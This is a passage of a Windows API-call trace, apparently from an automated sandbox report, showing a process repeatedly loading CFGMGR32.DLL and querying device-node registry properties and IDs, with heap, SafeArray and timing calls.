0x7ffa786e5260 [0226.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.605] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0226.605] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0226.606] malloc (_Size=0x48) returned 0x196ef0fb810 [0226.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x67ed02e3, dwHighDateTime=0x1d9eb0c)) [0226.606] SetEvent (hEvent=0x248) returned 1 [0226.658] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.658] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.658] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.658] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.661] malloc (_Size=0x18) returned 0x196ef0d1d60 [0226.661] CM_Get_Device_IDA (in: dnDevInst=0x29, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2934&SUBSYS_11001AF4&REV_03\\3&11583659&0&20") returned 0x0 [0226.661] malloc (_Size=0x48) returned 0x196ef0fbe00 [0226.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x67f4283b, dwHighDateTime=0x1d9eb0c)) [0226.662] SetEvent (hEvent=0x248) returned 1 [0226.667] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.667] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.667] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.667] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.670] malloc (_Size=0x18) returned 0x196ef0d1a60 [0226.670] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0226.671] malloc (_Size=0x124) returned 0x196ef0d67b0 [0226.671] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0226.672] free (_Block=0x196ef0d67b0) [0226.672] malloc (_Size=0x48) returned 0x196ef0fbea0 [0226.672] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x67f68c9d, dwHighDateTime=0x1d9eb0c)) [0226.672] SetEvent (hEvent=0x248) returned 1 [0226.677] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0226.677] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0226.677] free (_Block=0x196ef0d1ba0) [0226.677] malloc (_Size=0x18) returned 0x196ef0d1d60 [0226.678] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0226.678] free (_Block=0x196ef0d1d60) [0226.678] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0226.678] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0226.678] free (_Block=0x196ef0d1ac0) [0226.679] malloc (_Size=0x18) returned 0x196ef0d20c0 [0226.679] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0226.679] free (_Block=0x196ef0d20c0) [0226.679] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856560 [0226.679] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0226.679] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0226.680] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0226.680] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa680 [0226.680] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0226.680] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0226.680] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0226.681] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0226.682] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa650, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0226.689] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa658, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0226.689] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa660, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0226.690] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa668, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0226.691] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa680) returned 1 [0226.692] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856560) returned 1 [0226.692] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.692] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.696] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.696] malloc (_Size=0x18) returned 0x196ef0d1b40 [0226.696] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0226.696] malloc (_Size=0x10e) returned 0x196ef0d67b0 [0226.696] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0226.697] free (_Block=0x196ef0d67b0) [0226.697] malloc (_Size=0x48) returned 0x196ef0fb220 [0226.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x67f8f120, dwHighDateTime=0x1d9eb0c)) [0226.698] SetEvent (hEvent=0x248) returned 1 [0226.701] malloc (_Size=0x18) returned 0x196ef0d1c60 [0226.701] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0226.701] free (_Block=0x196ef0d1c60) [0226.701] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0226.701] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0226.701] free (_Block=0x196ef0d1ec0) [0226.701] malloc (_Size=0x18) returned 0x196ef0d1b20 [0226.701] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0226.702] free (_Block=0x196ef0d1b20) [0226.702] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0226.702] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0226.702] free (_Block=0x196ef0d1ee0) [0226.702] malloc (_Size=0x18) returned 0x196ef0d1f60 [0226.702] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0226.702] free (_Block=0x196ef0d1f60) [0226.702] malloc (_Size=0x18) returned 0x196ef0d1de0 [0226.702] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0226.702] free (_Block=0x196ef0d1de0) [0226.702] malloc (_Size=0x18) returned 0x196ef0d1f20 [0226.702] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0226.703] free (_Block=0x196ef0d1f20) [0226.703] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856de0 [0226.703] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0226.703] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0226.703] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0226.703] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0226.703] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0226.703] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0226.703] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0226.703] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0226.704] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2660, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0226.704] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2668, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0226.704] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2670, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0226.704] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2678, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0226.704] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2680, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0226.705] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2688, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0226.705] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2690, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0226.705] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0226.706] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856de0) returned 1 [0226.706] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.706] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.709] malloc (_Size=0x18) returned 0x196ef0d1c00 [0226.710] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0226.713] malloc (_Size=0x48) returned 0x196ef0fb270 [0226.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x67fb5268, dwHighDateTime=0x1d9eb0c)) [0226.781] SetEvent (hEvent=0x248) returned 1 [0226.785] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.785] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.786] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.786] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.786] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.786] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.786] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.789] malloc (_Size=0x18) returned 0x196ef0d1a20 [0226.789] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0226.789] malloc (_Size=0x48) returned 0x196ef0fbf40 [0226.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x68078b8d, dwHighDateTime=0x1d9eb0c)) [0226.790] SetEvent (hEvent=0x248) returned 1 [0226.793] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.793] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.796] 